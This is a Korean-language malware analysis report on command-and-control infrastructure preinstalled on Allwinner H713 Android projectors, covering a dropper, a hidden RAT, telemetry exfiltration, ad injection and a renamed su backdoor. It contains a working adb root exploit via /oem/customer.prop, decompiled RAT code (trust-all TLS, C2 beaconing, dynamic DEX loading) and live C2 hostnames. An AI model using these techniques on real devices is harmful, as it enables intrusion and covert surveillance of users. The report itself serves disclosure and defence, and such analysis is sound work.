
중국 beamers의 C2 네트워크 분석 - SilentSDK-Analysis
기술 분석 보고서 — 보안 연구
영향을 받는 기기: Nonete(예: Model HY260Pro)와 같은 빔 브랜드의 여러 안드로이드 프로젝터(아마도 Magcubic, Hotack, Huyukang 등 여러 제품도 포함, 이들 회사는 유사한 모델을 유통하며 이를 뒷받침하는 징후가 있음)
칩셋 플랫폼: Allwinner H713 / sun50iw12p1 — 이 플랫폼의 모든 기기에 영향을 미칠 가능성 있음
분석 기간: 2026년 4월 11일–17일
분류: 사전 설치된 명령 및 제어 인프라 및 원격 접근 트로이 목마 페이로드
이 보고서에 문서화된 맬웨어 인프라는 현재 Amazon, eBay, AliExpress에서 최종 소비자에게 대량 판매 중인 안드로이드 프로젝터에 사전 설치되어 있습니다. 영향 받는 기기는 여러 브랜드명(Hotack, Huyukang, Magcubic, Nonete 등)에 걸쳐 있을 수 있습니다. 동일한 C2 인프라는 동일 제조업체의 다른 기기에서도 독립적으로 확인되었습니다(섹션 13 참조). 이 패턴은 BADBOX 사례와 일치합니다.
구매한 기기: Amazon 링크 - Nonete Mini Beamer 4K 1080P
범위 참고: Allwinner H713 칩셋은 유럽 시장에서 판매되는 수많은 저가 안드로이드 프로젝터에 내장되어 있으며, 브랜드명이 자주 변경됩니다. 동일한 펌웨어 베이스(h713_tuna_p3)와 동일한 C2 운영자(Shenzhen Aodin Technology)는 이 OEM의 모든 기기에 동일한 인프라가 포함되어 있음을 강력히 시사합니다.
루트 액세스는 세 가지 취약점의 조합을 통해 달성되었습니다:
adb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'
adb reboot && adb wait-for-device && adb root adb shell id
**영향:** 물리적 접근 권한이 있는 모든 사용자 또는 동일 네트워크에 있는 공격자(ADB를 통해, 포트 5555 열림, 인증 없음)는 전체 루트 액세스를 획득합니다.
---
## 4. C2 서버 응답 — 핵심 증거
### 캡처된 HTTP 요청```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12
gzip 압축된 응답에는 7개의 앱이 포함된 JSON 목록이 있습니다. 그중 6개는 일반 스트리밍 앱(YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere)입니다. 일곱 번째는 SilentTools입니다:
{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }
**플래그 해석:**
- `isShow: false` — 앱이 스토어 인터페이스에 나타나지 않음.
- `isForce: true` — 액션(설치 또는 업데이트)을 강제로 수행하는 것으로 추정됨.
- `isSilentUninstall: true` — 사용자 상호작용 없이 스스로 제거 가능.
- `launchType: 1` — 백그라운드 서비스를 자동으로 시작함.
- `launchParam: MyService` — 지속적인 서비스에 대한 참조.
- `zone: "Global"` — 전 세계의 모든 기기를 대상으로 함.
- `reverseLen` — SilentSDK `.apk`를 복원하는 데 필요한 바이트 길이.
### 암호화된 다운로드 경로
`path` 필드는 AES-CBC로 암호화되어 있습니다:
- **키/IV:** `[REDACTED]` (AES-CBC, Raw) -> 기기의 ChannelID.
- **복호화 결과:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp
참고: 파일 확장자 .bpp는 방화벽을 우회하기 위해 사용되며, 실행 중에는 파일 이름이 .apk로 변경됩니다. 이 캡처에서 isSilentInstall 필드는 false입니다. isForce: true의 정확한 의미는 디컴파일된 코드에서 명확하게 재구성할 수 없었습니다. 해당 값이 서버 측에서 동적으로 true로 설정될 가능성도 배제할 수 없습니다.
이 장치에는 상호 작용하는 네 개의 시스템 앱이 포함되어 있으며, 모두 AOSP 테스트 키로 서명되고 UID 1000(System)으로 실행됩니다:```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com
+ ExpandSDK (Ad-Injection)
→ pb-api.aodintech.com
---
## 6. StoreOS — 드로퍼 분석
StoreOS는 자동으로 설치되는 앱 스토어처럼 보이지만, 드로퍼(dropper) 기능을 수행합니다.
**패키지:** `com.htc.storeos`
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`
### 권한
| 권한 | 영향 |
|:---|:---|
| `INSTALL_PACKAGES` | 사용자 대화상자 없이 자동 설치 |
| `CLEAR_APP_USER_DATA` | 임의 앱 데이터 삭제 |
| `MASTER_CLEAR` | 공장 초기화 트리거 |
| `WRITE_SECURE_SETTINGS` | 보안 설정 변경 |
| `DEVICE_POWER` | 기기 전원 관리 |
| `MANAGE_EXTERNAL_STORAGE` | 외부 저장소에 대한 전체 접근 |
### 설치 체인 (디컴파일된 코드 기준)
1. **BootReceiver**가 `CheckUpdateService`를 시작합니다.
2. HTTP POST 요청을 `store-api.aodintech.com/sign/app/list`로 전송합니다.
3. 서버가 `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5` 필드를 포함한 `AppsData[]`를 전달합니다.
4. `DownloadService`가 CDN에서 `.bpp` 파일 형태로 APK를 다운로드합니다.
5. **바이트 역전 보호:** 디스크에 쓰기 전에 처음 `reverseLen` 바이트가 역전됩니다 (안티 분석 조치).
6. 다운로드한 파일의 MD5 검증.
7. `Runtime.getRuntime().exec("pm install -r " + filePath)`를 통해 설치합니다.
8. `StartAppService`가 `launchParam`에 따라 설치된 앱을 실행합니다.
### 바이트 역전 메커니즘 — 기술적 증명
**클래스:** `AbstractC2057b` — **메서드:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX
이 메서드는 다운로드된 각 APK의 처음 `reverseLen` 바이트를 역전시킵니다. 결과적으로, 가로챈 `.bpp` 파일은 특정 `reverseLen` 값을 알지 못하면 유효한 APK로 인식되거나 추출될 수 없습니다.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
reverseLen = fileSize;
offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
byte tmp = buffer[head];
buffer[head] = buffer[tail];
buffer[tail] = tmp;
head++; tail--;
}
// 3. Copy the remaining bytes unchanged
다운로드 경로에서의 호출 (클래스 RunnableC1595d, case 0):```java
if (downInfo.getReverseLen() != 0) {
String outputPath = inputPath.replace(".apk", "des.apk");
if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) {
// Error handling
return;
}
downInfo.setFileSavePath(outputPath);
}
// Followed by MD5 verification and installation
이 메커니즘을 역공학하여 SilentSDK APK를 성공적으로 디코딩하고 분석했습니다.
### 지리적 타겟팅
StoreOS는 IP 지리적 위치 확인을 위해 `api.ipdatacloud.com/v2/query`를 사용합니다. `SpecialApps` 클래스에는 `continent`와 `countryCode` 필드가 포함되어 있어 지역별 페이로드 배포가 가능합니다.
---
## 7. EventUploadService — 원격 측정
**패키지:** `com.htc.eventuploadservice`
**대상:** `http://event-api.aodintech.com/report`
**간격:** 5분마다
| 필드 | 예시 값 | 개인정보 영향 |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | MAC 주소 (개인식별정보) |
| `deviceSn` | `[REDACTED]` | 일련번호 (고유) |
| `channel` | `HY260Pro_hy_TPYB` | 펌웨어 채널 |
| `version` | `Projector.20250422.152235` | 펌웨어 버전 |
| `model` | `NT10` | 기기 모델 |
| `language` | `en_US` | 언어 설정 |
전송은 HTTP를 통해 암호화되지 않은 상태로 사용자 동의 없이 이루어집니다. MAC 주소와 일련번호는 개별 기기의 정확한 식별 및 추적을 가능하게 합니다.
---
## 8. ExpandSDK — 광고 삽입
**패키지:** `com.htc.expandsdk`
**C2 서버:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`
ExpandSDK는 VAST 동영상 광고를 위해 TCL VastAd SDK를 사용하며, 화면의 어느 위치에서나 시스템 오버레이 대화상자(`SYSTEM_ALERT_WINDOW`)를 렌더링할 수 있습니다. 설정에는 위치 필드(`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`)와 파트너 식별자 `htk`(Hotack)가 포함됩니다.
ExpandSDK는 SilentSDK와 독립적으로 별도의 수익화 채널로 작동합니다.
---
## 9. SilentSDK — RAT 분석
**패키지:** `com.hotack.silentsdk`
**SHA-256 (디코딩됨):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`
**MD5 (디코딩됨):** `5df097591d6942bae4eff33a37c4e28f`
### 매니페스트 분석
| 속성 | 값 | 의미 |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | 시스템 권한 (UID 1000) |
| `usesCleartextTraffic` | `true` | HTTP 트래픽 허용 |
| 실행기 아이콘 | 사용자에게 보이지 않음 | 사용자 인터페이스에서 숨김 |
| `BootReceiver` | 우선순위 999 | 거의 모든 다른 앱보다 먼저 시작됨 |
| `MyService` | 내보내짐, 포그라운드 | 지속적인 백그라운드 서비스 |
| `BootStartActivity` | `com.htc.bootstart` | 추가 부트 트리거 |
### DEX 패킹 및 복호화
원본 DEX는 패킹되어 있습니다: 헤더는 2,318,316바이트를 선언하지만 압축 파일에는 잘못된 Adler32 체크섬과 함께 65,536바이트만 포함되어 있습니다. StoreOS의 바이트 역전 보호를 해제한 후 DEX는 완전히 읽을 수 있게 됩니다 — 파일 크기와 선언된 크기가 일치하며 16,241개의 문자열을 추출할 수 있습니다.
### XOR 난독화 — 기술적 증거
모든 보안 관련 문자열은 `AbstractC0000a.m36g()` 메서드 내에서 회전하는 XOR 암호를 사용하여 난독화됩니다:```java
public static String m36g(byte[] data, byte[] key) {
int i3 = 0, i4 = 0;
while (i3 < data.length) {
if (i4 >= key.length) i4 = 0;
data[i3] = (byte) (data[i3] ^ key[i4]);
i3++; i4++;
}
return new String(data);
}
이는 복호화된 문자열의 일부에 불과합니다.
MAC 수집 흐름은 의도적인 권한 우회를 드러냅니다: WifiInfo.getMacAddress()가 Android의 개인정보 보호용 가짜 MAC(02:00:00:00:00:00)을 반환할 때, 악성코드는 루트 셸을 통해 /sys/class/net/wlan0/address에서 실제 하드웨어 MAC을 직접 읽는 대체 경로로 전환합니다 — 이는 합법적인 앱에서는 볼 수 없는 동작입니다.
다음 분석은 앱 시작부터 지속적인 C2 제어까지 전체 실행 체인을 추적합니다. 클래스 이름은 JADX 디난독화된 식별자를 참조합니다.
MyApplication.java — 진입점
Application.onCreate() 재정의가 가장 먼저 실행되는 코드입니다. 즉시 C0561f.m1737c를 ApplicationContext와 함께 호출하여 UI가 렌더링되기 전에 전체 악성코드 기계를 부트스트랩합니다.
AbstractC0577v.java — 컨텍스트
호스트 앱이 자발적으로 자신의 컨텍스트를 제공하지 않는 경우, 이 클래스는 깊은 시스템 리플렉션(android.app.ActivityThread)을 사용하여 자체적으로 전역 ApplicationContext를 탈취합니다. 이렇게 하면 호스트 애플리케이션에 의존하지 않고 SDK가 파일, 시스템 서비스, 패키지 관리에 완전히 접근할 수 있습니다.
C0578w.java — 액티비티 생명주기 관찰자
ActivityLifecycleCallbacks로 등록하여 모든 사용자 상호작용(어떤 화면이 열려 있는지, 앱이 포그라운드인지 백그라운드인지)을 모니터링합니다. 중요하게도, 비활성화된 시스템 애니메이션을 다시 활성화하고 SoftInputMode 설정을 조작하여 예상치 못한 키보드 팝업 없이 사용자에게 알리지 않고 보이지 않는 오버레이(예: 클릭 사기용)를 렌더링하기 위한 전제 조건을 마련합니다.
AbstractC0562g.java — 봇 ID 생성
무작위 UUID + Build.BRAND + Build.MODEL + 물리적 MAC 주소(cat /sys/class/net/wlan0/address를 통해 수집, Android의 개인정보 보호 우회) + android_id + 타임스탬프를 연결하여 공격적인 기기 지문을 생성합니다. 결과 문자열은 MD5 해시되어 C2 서버에 기기를 등록하는 데 사용되는 영구 봇 ID adid로 저장됩니다.
C0565j.java — SSL 인증서 우회
완전히 비어 있는 검증 메서드(checkClientTrusted, checkServerTrusted)를 가진 조작된 X509TrustManager입니다. 이렇게 하면 악성코드가 모든 SSL 인증서를 맹목적으로 수락하여 C2 서버가 손상되거나 유효하지 않은 인증서를 사용하더라도 Android의 보안 메커니즘이 C2 통신을 차단하지 못하게 합니다.```java
// From AbstractC0000a.m41j() — TrustManager accepts ALL certificates
TrustManager[] trustManagerArr = {new C0565j()};
SSLContext sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, trustManagerArr, new SecureRandom());
((HttpsURLConnection) conn).setSSLSocketFactory(
sslContext.getSocketFactory()
);
SSL 오류(`SSLException`)가 발생하면 `f2664e`가 `false`로 설정되고 이후 모든 요청은 HTTPS 대신 HTTP를 사용합니다.
#### 3단계: 페이로드 획득
**`C0566k.java` — 오프라인 대체 (임베디드 페이로드)**
네트워크에 접속하기 전에, 이 클래스는 `assets/m17gawxG.java`에 페이로드가 APK 내부에 이미 번들로 포함되어 있는지 확인합니다. 발견되면 파일을 바이트 단위로 읽고 하드코딩된 XOR 키(`m17gawxG`)를 사용하여 복호화합니다. 결과는 실행 가능한 `.temp` 파일로 기록됩니다. 이는 RAT가 에어갭 장치나 C2 서버에 연결할 수 없는 경우에도 활성화될 수 있도록 보장합니다.
**`RunnableC0569n.java` — 라이브 C2 다운로더**
오프라인 대체가 실패하면, 이 클래스는 Bot-ID, 패키지 이름, Android 버전을 포함하는 JSON 비콘을 조립한 후 C2 엔드포인트 `api.pixelpioneerss.com`에 접속합니다:
**1단계 — 무작위 경로로 URL 생성:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s
2단계 — 비콘 페이로드:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version
**단계 3 — AES 암호화 및 전송:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message
단계 4 — 서버 응답 처리:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes
다운로더(`AbstractC0000a.m37h`)는 페이로드를 가져온 다음 루트 셸을 사용하여 `chmod 777`을 통해 전체 실행 권한을 부여합니다.
모든 C2 요청에는 사용자 정의 HTTP 헤더 `a: 1003`이 포함됩니다. 이는 이 악성코드 패밀리의 네트워크 수준 서명입니다.
#### 4단계: 실행 및 제어
**`AbstractC0568m.java` — 스테이징 영역**
장치의 파일 시스템에 **`TMRXwWJu3G5`**라는 이름의 숨겨진 디렉토리를 생성하여 다운로드된 모든 페이로드를 스테이징합니다. 이 클래스는 또한 물리적 키 이벤트(`KeyEvent`)를 가로채는 메서드(`m1754e`)를 포함하여, 악성 오버레이가 활성화된 동안 사용자가 "뒤로" 버튼을 누르는 것을 방지합니다.
**`C0561f.java` — 오케스트레이터**
전체 체인을 연결합니다. 이는 `C0566k.m1746b`에 있는 심하게 난독화된 코드를 호출하며, 이 코드는 리플렉션을 사용하여 문자열 `"dalvik.system.DexClassLoader"`를 구성하고 초기화합니다. 그런 다음 ClassLoader가 강제로 최종 페이로드 클래스를 로드하고 실행합니다.```
com.me.cash5.OoO0OOo
이 시점부터 동적으로 로드된 페이로드는 앱의 프로세스 컨텍스트(UID 1000 / System) 내에서 완전한 제어권을 갖습니다.
AbstractC0563h.java & C0558c.java — 텔레메트리 수집
모든 모듈 로드, 오류 이벤트(예: 다운로드 실패) 또는 오버레이 표시는 상태 보고서를 트리거합니다(SSL 오류의 경우 "e6", "e4" 등으로 코딩됨). C0558c는 이러한 이벤트를 집계하는 전용 수집 스레드("burying_loop_s")를 실행합니다. 5초마다 "d"(기기 모델), "e"(SDK 버전), "c"(Android ID)와 같은 필드를 포함한 포괄적인 JSON 텔레메트리 패킷을 조립합니다.
RunnableC0564i.java — 데이터 유출기
텔레메트리 JSON을 가져와 GZIPOutputStream으로 압축한 후(트래픽 분석을 방해하기 위해), 사용자 정의 AES로 암호화합니다 — 동적 키를 암호문에 추가합니다. 결과 GZIP-AES 패킷은 SSL을 우회하는 TrustManager를 통해 전용 추적 서버로 전송됩니다.```
bur.thedynamicleap.com
이는 기본 `api.pixelpioneerss.com`과는 **별도의 C2 도메인**으로, 텔레메트리 유출 전용으로 사용됩니다.
**`AbstractC0572q.java` & `RunnableC0560e.java` — 하트비트 및 자가 복구**
지속성 메커니즘. `AbstractC0572q`는 메인 스레드에서 타이머를 유지합니다. 감염 체인의 어느 부분이라도 실패하면(예: 다운로드 중 인터넷 없음), `sendEmptyMessageDelayed(..., 60000L)`를 실행합니다. 정확히 60초 후에 `RunnableC0560e`(백그라운드 워커)가 처음부터 전체 감염 기계를 다시 시작합니다. 이 루프는 감염이 성공할 때까지 무한히 반복됩니다.
### 지속성 및 동적 로딩 — 요약
`RunnableC0569n`의 `m1762a()` 메서드는 완전한 페이로드 다운로드 주기를 구현합니다:
1. C2에서 DEX 파일 다운로드.
2. MD5 해시 확인.
3. SharedPreferences에 버전 번호 저장.
4. `DexClassLoader` 또는 `Runtime.exec()`를 통해 DEX 로드 및 실행.
5. 오류 발생 시: SharedPreferences에서 재시도 카운터 증가, 13회 실패 후 일시 정지 — 그런 다음 60초 하트비트가 주기를 다시 시작합니다.
## 9.1. 악성코드 페이로드
C2 서버에 이 요청을 보낸 후:```json
{
"a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
"b":"f101", //CampaignID injected in MyApplication.java
"c":"com.hotack.silentsdk", //Package name
"d":0,
"f":"c0:3a:4b:11:22:33", // Device MAC address
"h":30, //Version
}
응답:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }
---
## 10. 악성코드
페이로드를 성공적으로 확보하고 추가 분석한 결과, 맞춤형 암호화 및 난독화의 상당한 레이어를 우회한 후, 악성코드가 매우 모듈식 아키텍처를 사용한다는 것을 확인했습니다. 이는 플러그인을 동적으로 다운로드, 업데이트, 재시작 및 능동적으로 삭제하여 포렌식 증거를 파괴할 수 있는 정교한 프레임워크로 작동합니다. 이러한 페이로드는 루트 권한으로 실행됩니다. 또한 코드에는 전체 WebView를 화면에 오버레이하도록 설계된 메커니즘이 드러나 있으며, 이는 고급 피싱 기능을 강력히 시사합니다. 이 악성코드는 또한 정교한 표적 공격 및 회피 전술을 보여줍니다. 특정 지역을 공격하기 위해 엄격한 지오펜싱을 구현하고, CPU 아키텍처(`arm64`, `armeabi`, `x86`, `mips` 구분)를 프로파일링하며, C2 통신을 보호하기 위해 SSL 인증서 검증을 능동적으로 우회합니다. 현재로서는 이 요약을 의도적으로 간략하게 유지합니다. 강력한 난독화로 인해 장기적이고 지속적인 리버스 엔지니어링 과정이 필요하기 때문입니다.
## 11. 시스템 백도어
### 11.1 숨겨진 `su` 바이너리: `/system/bin/qw`
`su` 바이너리가 `qw`로 이름이 변경되었습니다 (Koushikdutta Superuser, 388 KB, 정적으로 링크됨, ARM 32비트):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
user root
group root
class core
/dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)플랫폼 서명 인증서는 AOSP 소스 코드에 공개적으로 포함된 테스트 키(packages.xml에서 Cert Index 0)입니다. 이 키로 서명된 모든 앱은 기기에서 자동으로 시스템 권한을 받습니다. 이 키는 모든 Android 개발자가 자유롭게 사용할 수 있습니다.
dbgserver/vendor/bin/dbgserver — 하드웨어 레지스터 I/O 서버, 전 세계에서 쓰기 가능한 장치 /dev/hidtvreg(crwxrwxrwx)를 통해 통신.
모든 C2 통신은 암호화되지 않은 HTTP를 통해 이루어집니다. 이는 MITM(중간자 공격)을 가능하게 합니다: 동일한 네트워크에 있는 공격자는 앱 목록을 조작하고 임의의 APK를 주입할 수 있으며, 이는 시스템 권한으로 설치됩니다.
기기는 Google의 ADT-3(Android TV 개발자 키트)으로 위장합니다:
| 속성 | 스푸핑된 값 |
|---|
이 스푸핑은 Google Play 인증 검사를 우회하려는 의도로 추정됩니다.
2026년 1월, 보안 연구원 Zane St. John이 정확히 동일한 악성코드 인프라를 가지고 있는 동일한 기기에 대한 분석을 발표했습니다. 결과는 모든 중요한 지점에서 일치합니다: C2 엔드포인트, XOR 난독화, AES-128-CBC 프로토콜, 캠페인 ID f101, SSL 우회, 그리고 chmod 777. Zane St. John이 분석한 기기는 이미 SilentSDK에 감염된 것으로 보이며, 우리 기기는 처음부터 감염되지 않았습니다. Zane St. John의 분석에서 엔드포인트가 약간 변경된 것으로 보여 엔드포인트 로테이션 가능성을 나타냅니다. 또한 SilentSDK가 그의 경우에는 사전 설치된 것으로 보이는 반면, 우리 기기에서는 aodintech가 트리거 신호를 보낸 후 다운로드 및 설치되는 것으로 보입니다.
출처: https://zanestjohn.com/blog/reing-with-claude-code
| 출처 | MD5 | SHA-256 |
|---|
C2 서버 배포, 우리의 복호화, 외부 분석의 해시는 동일합니다 — 이는 동일한 악성코드임을 확인합니다. 이는 악성코드의 광범위한 확산을 확인합니다.
StoreOS-APK: BitDefender가 Android.Riskware.TestKey.rB를 탐지합니다; 다른 안티바이러스 엔진은 경고를 발생시키지 않습니다.
api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server
### 네트워크 시그니처```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003 # SilentSDK Signature
POST /sign/app/list # StoreOS C2 Beacon
POST /report # EventUpload Telemetry
com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk
### 파일 시스템```text
/system/bin/qw # su Binary
/dev/com.koushikdutta.superuser.daemon/server # su Socket
/oem/customer.prop # World-writable
/vendor/bin/dbgserver # HW-Debug
/dev/hidtvreg # World-writable
assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload
---
## 16. MITRE ATT&CK 매핑
| 기술 | ID | 증거 |
|:---|:---|:---|
| 공급망 손상 | T1195.002 | 멀웨어 공장 사전 설치 |
| 부팅 또는 로그온 자동 시작 실행 | T1547 | BootReceiver 우선순위 999 |
| 난독화된 파일 또는 정보 | T1027 | XOR 문자열, DEX 패킹, 내장된 XOR 암호화 자산 |
| 애플리케이션 계층 프로토콜 | T1071 | HTTP/HTTPS C2 |
| 동적 데이터 교환 / 페이로드 주입 | T1055 | DexClassLoader, chmod 777 |
| 시스템 정보 수집 | T1082 | 장치 지문 인식, 봇 ID 생성 |
| 로컬 시스템 데이터 | T1005 | MAC, 시리얼, IMEI, android_id |
| C2 채널을 통한 유출 | T1041 | `bur.thedynamicleap.com`으로 주기적 원격 측정 |
| 가장 | T1036 | .bpp 파일 확장자, ADT-3 스푸핑 |
| 루트킷 | T1014 | 숨겨진 su 바이너리 |
| 입력 캡처 | T1056 | 뒤로 가기 버튼을 차단하기 위한 KeyEvent 가로채기 |
| 표시 제거 / 자체 삭제 | T1070 | `isSilentUninstall: true` 기능 |
| 반사적 코드 로딩 | T1620 | 반사적 DexClassLoader 인스턴스화 |
| 시스템 창 오버레이 | T1624 | 보이지 않는 오버레이를 위한 SoftInputMode 조작 |
---
## 17. 즉각적인 완화 조치
### 영향을 받은 최종 사용자를 위한```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate
store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com
---
## 18. 출처
1. Zane St. John: "클로드 코드를 이용한 사전 설치된 안드로이드 악성코드 리버스 엔지니어링", 2026년 1월. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: "BSI가 IoT 기기의 사전 설치된 악성코드에 대해 경고" (BADBOX), 2023년 10월.
3. StoreOS APK의 VirusTotal 분석.
---
**분석 기간:** 2026년 4월 11일–17일
**면책 조항**
교육 및 연구 목적으로만 제공됩니다. 본 보고서는 사이버보안 위협에 관한 정보 제공 목적으로 "있는 그대로" 제공됩니다. 분석은 현재 악성코드 생태계의 스냅샷을 기반으로 하며, 리버스 엔지니어링은 지속적인 과정이므로 새로운 데이터가 확보됨에 따라 결과가 변경될 수 있습니다.
본 보고서는 선의로 그리고 제 지식에 기반하여, 바이너리 데이터 및 디컴파일된 소스 코드 분석을 바탕으로 작성되었습니다. 높은 수준의 난독화와 위협의 진화하는 특성으로 인해, 이러한 발견은 현재 연구 상태를 나타냅니다. 증거가 도출된 결론을 강력히 뒷받침하지만, 추가 기술적 증거가 발견됨에 따라 개선될 수 있습니다.
| 속성 | 값 |
|---|
| 브랜드명 | Nonete HY260Pro (여러 회사에서 판매하는 모델) |
| 내부 모델명 | NT10 |
| SoC | Allwinner sun50iw12p1 (ARM 32비트) |
| 운영체제 | SpectraOS (Android 11, 커널 5.4.99) |
| 실제 빌드 지문 | Allwinner/h713_tuna_p3/h713-tuna_p3:11 |
| 스푸핑된 빌드 지문 | ADT-3/adt3/adt3:11/RP1A.201005.006 |
| SELinux | 허용 모드 (강제 없음) |
| 플랫폼 서명 키 | 공개 AOSP 테스트 키 |
| OEM 인증서 | CN=蓝鲨, OU=www.bsh.me, C=CN |
| 펌웨어 채널 | HY260Pro_SpectraOS_TPYB |
| 단계 | 작업 | 결과 |
|---|
| 1 | Wireshark로 네트워크 트래픽 캡처 | store-api.aodintech.com으로의 HTTP 트래픽 |
| 2 | gzip 압축 C2 응답 디코딩 | 7개의 앱, 숨겨진 "SilentTools" 포함 |
| 3 | AES-CBC로 다운로드 경로 복호화 | 키 [편집됨], .bpp 파일 URL |
| 4 | /oem/customer.prop을 통한 루트 익스플로잇 | 속성 주입 후 uid=0(root) |
| 5 | /data, /oem, /system 포렌식 덤프 | APK, 데이터베이스, 구성 파일 |
| 6 | StoreOS DEX 정적 분석 | pm install -r -d, 바이트 반전 보호 |
| 7 | reverseLen 메커니즘 리버스 엔지니어링 | 안티 분석 보호 이해 |
| 8 | 바이트 반전 보호 해제 | 복호화되어 분석 가능한 SilentSDK DEX |
| 9 | SilentSDK 문자열 XOR 복호화 | C2 도메인 api.pixelpioneerss.com 확인 |
| 10 | 세 출처에 걸친 해시 검증 | MD5/SHA-256 완전 일치 |
| 11 | 맬웨어 다운로드 프로세스 리버스 엔지니어링 | 서버가 여전히 온라인 상태 |
| 12 | 맬웨어 리버스 엔지니어링 | 플러그인 기반 RAT 프레임워크 |
| 앱 | 패키지 | isShow | isForce | isSilent Install | isSilent Uninstall | 실행 유형 |
|---|
| YouTube | com.google.android.youtube.tv | true | false | false | false | 0 |
